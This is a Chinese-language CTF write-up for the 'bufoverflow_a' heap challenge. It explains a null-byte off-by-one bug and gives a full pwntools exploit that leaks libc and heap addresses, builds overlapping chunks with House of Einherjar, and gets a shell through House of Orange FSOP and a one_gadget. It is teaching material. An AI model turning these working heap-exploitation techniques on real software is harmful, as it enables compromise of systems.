[Pwn] Bufoverflow_a - Cpt.shao xp0int Posted on Jun 23 2018 ? heap ? ? house-of-orange ? ? house-of-enherjar ? 这道题目的难点不在于利用,经历过上次红帽杯的初赛之后,这类型的`off by one`漏洞已经很容易识别了。具体的程序逻辑和漏洞点在这里就不再分析,借用一下出题人的原话描述: > 这个题目有一个比较明显的null byte溢出。按照常规思路,可以去做overlap。程序里面使用了scanf,所以去写`buf_end`是一个比较好的选择,但是这里设置了perturb_byte,在每次free或者malloc的时候会填充chunk,而且fill和show引用的指针是last ptr, 所以很可能出现的情况就是,做了overlap,有unsorted bin出现的时机是最关键的部分。 我认为这题的难点有两处,第一是泄露heap的地址,第二个是如何通过`off by one`漏洞,而且绕过众多的限制去劫持控制流。限制包括: 1. 分配的chunk的大小,不能分配大小为fastbin的chunk,因此不能进行常规的fastbin attack。 2. 出题人在分配chunk的时候做了一个限制,只有列表中前两个chunk是通过`malloc`分配的,其余后面的chunk都是`calloc`分配,并且设置了`perturb_byte`为`0xcc`,意思就是这些chunk在free之后会被自动填上`0xcc`。这就对unsorted bin attack的利用造成了限制。 3. 在选择fill功能往chunk上面写入内容的时候,并不能控制写入的chunk index,程序只提供一个last chunk机制,往最后分配的chunk里面写入内容,同时如果进行delete操作以后,last chunk的指针也会被清除掉。因此我们需要往非last chunk的chunk重新写入内容之前需要先做一次delete操作,同样也对利用流程造成了很大的麻烦。 这次就先给出exp,然后再逐部分分析。 ### bufoverflow.py ```python from pwn import * libc = ELF('./libc.so.6') p = process('./bufoverflow_a') context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] def alloc(size): p.sendlineafter('>>', '1') p.sendlineafter(':', str(size)) def show(): p.sendlineafter('>>', '4') def fill(content): p.sendlineafter('>>', '3') p.recvuntil(':') p.send(content) def delete(idx): p.sendlineafter('>>', '2') time.sleep(0.1) p.sendlineafter(':', str(idx)) # leak_libc alloc(0x88) alloc(0x88) delete(0) delete(1) alloc(0x88) show() leak_libc = p.recvline().strip() + '\x00\x00' leak_libc = u64(leak_libc) libc_start = leak_libc - 0x387b58 p.info('leak_libc: %x' % leak_libc) p.info('libc_start: %x' % libc_start) delete(0) # clear # leak heap addr alloc(0x88) alloc(0x800) alloc(0x88) delete(1) alloc(0x1000) delete(1) delete(2) delete(0) alloc(0x98) alloc(0x88) show() leak_heap = p.recvline().strip() + '\x00\x00' leak_heap = u64(leak_heap) heap_start = leak_heap - 0xb0 p.info('leak_heap: %x' % leak_heap) p.info('heap_start: %x' % heap_start) delete(0) # clear delete(1) # house of enherjar, create overlap chunk alloc(0x200) fake_chunk = 'A'*0x40 + p64(0) + p64(0x101) + p64(heap_start+0x70)*2 + 'A' * 0xe0 + p64(0x100) fill(fake_chunk+'\n') alloc(0x88) alloc(0xf0) delete(1) alloc(0x88) fill(cyclic(0x80) + p64(0x250)+ '\n') delete(2) alloc(0x300) fill('a'*432 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101)+'\n') delete(1) delete(0) alloc(0x290) fill(0x40*'a' + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) +p64(0x131) +'\n') delete(0) delete(2) # gdb.attach(p) alloc(0x290) # house of orange one_gadget = libc_start + 0x3c70d io_list_all_addr = libc_start + libc.symbols['_IO_list_all'] jump_table_addr = libc_start + libc.symbols['_IO_file_jumps'] + 0xc0 file_struct = p64(0) + p64(0x61) + p64(leak_libc) + p64(io_list_all_addr-0x10) + p64(2) + p64(3) file_struct = file_struct.ljust(0xd8, '\x00') file_struct += p64(jump_table_addr) file_struct += p64(one_gadget) fill(0x40*'a' + file_struct+'\n') alloc(200) # trigger p.interactive() ``` ## Part 1 leak libc 这部分是常规的思路,首先分配一个unsorted bin,free掉以后进行show操作即可泄露出libc的地址 ## Part 2 leak heap 通过查阅学习,发现可以通过构造large chunk来泄露出heap的地址。 ```python # leak heap addr alloc(0x88) #0 alloc(0x800) #1 alloc(0x88) #2 delete(1) alloc(0x1000) #1 ``` 首先构造三个chunk,中间的大小必须足够大,符合large chunk的大小。#2的作用是为了防止free #2的时候和top chunk合并。free之后chunk首先会进入unsorted bin,然后我们再分配一个比原先大小还大的chunk,由于检查到unsorted bin中没有合适大小的chunk,程序顺便会把chunk加入到large bin当中。   可以看到当chunk被放进large bin的时候`fd_nextsize`和`bk_nextsize`会被填上chunk的地址,由此我们可以泄露出heap的地址。 ```python delete(1) delete(2) delete(0) alloc(0x98) #0 alloc(0x88) #1 show() ``` 接下来把chunk都清理掉以后,重新分配两个chunk,利用第#0 chunk`0x98`的错位使得heap地址落在#1的fd上面,然后即可直接读出heap地址。 ## Part 3 House of enherjar 关于hoe的详细介绍可以参考以下链接: https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/ ```python alloc(0x200) #0 fake_chunk = 'A'*0x40 + p64(0) + p64(0x101) + p64(heap_start+0x70)*2 + 'A' * 0xe0 + p64(0x100) fill(fake_chunk+'\n') alloc(0x88) #1 alloc(0xf0) #2 delete(1) alloc(0x88) #1 fill(cyclic(0x80) + p64(0x250) +'\n') # off by one delete(2) ``` 第2行在chunk内部构造了一个fake chunk,作为之后merge的对象并绕过unlink的检查。 重点在第9行,这里伪造了一个`prev_size`,并且通过`off by one`的`null byte`把size的`prev_in_used`填零。  可以看到经过这样的操作,top_chunk在0x070的位置,而#0的chunk在0x020的位置,而且大小是0x200。这意味这我们已经构造出了overlap的chunk,正常来说如果能用fastbin attack或者直接采取unsorted bin的话马上就能解决了,但是由于上述的种种限制,这里只能采取进一步的策略周旋一下。 ```python alloc(0x300) #2 fill('a'*432 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101)+'\n') ``` 进行到这步,chunklist和heap上的heap 排列如下图,我们这里的目的是想剔除掉当前#1位置的chunk,从而使得重叠的chunk都放在前两个位置,这样的话free的时候才不会被填上0xcc,导致攻击流程失败。  ```python delete(0) delete(1) ``` 删除掉#0和#1之后,我们得到一个size为0x2a0位于0x020位置的unsorted bin。如下图:  ```python alloc(0x290) fill(0x40*'a' + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) +p64(0x131) +'\n') ``` 再次分配这个unsorted bin到#0的位置,并且伪造两个chunk来欺骗检查机制,到这里,我们已经成功在列表上获取到了overlap chunk, 下一步要把这两个chunk都放进unsorted bin,然后进行unsorted bin attack。  ```python delete(0) delete(2) alloc(0x290) #0 ``` 至此我们已经可以通过fill往unsorted bin上面的chunk写任意内容。 ## Part 4 House of Orange ```python one_gadget = libc_start + 0x3c70d io_list_all_addr = libc_start + libc.symbols['_IO_list_all'] jump_table_addr = libc_start + libc.symbols['_IO_file_jumps'] + 0xc0 file_struct = p64(0) + p64(0x61) + p64(leak_libc) + p64(io_list_all_addr-0x10) + p64(2) + p64(3) file_struct = file_struct.ljust(0xd8, '\x00') file_struct += p64(jump_table_addr) file_struct += p64(one_gadget) fill(0x40*'a' + file_struct+'\n') alloc(200) # trigger ``` 这部分就是利用house of orange的fsop思想来执行one gadget,具体不再赘述。 整个攻击链下来还是挺折腾人的,尤其是perturb_byte和last chunk造成的限制,耗了好多时间才能构造出合适的unsotred bin,但是这题学到了怎么通过large chunk来泄露heap地址,也加深了对house of orange的理解。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] NoLeak - Cpt.shao
没有帐号? 立即注册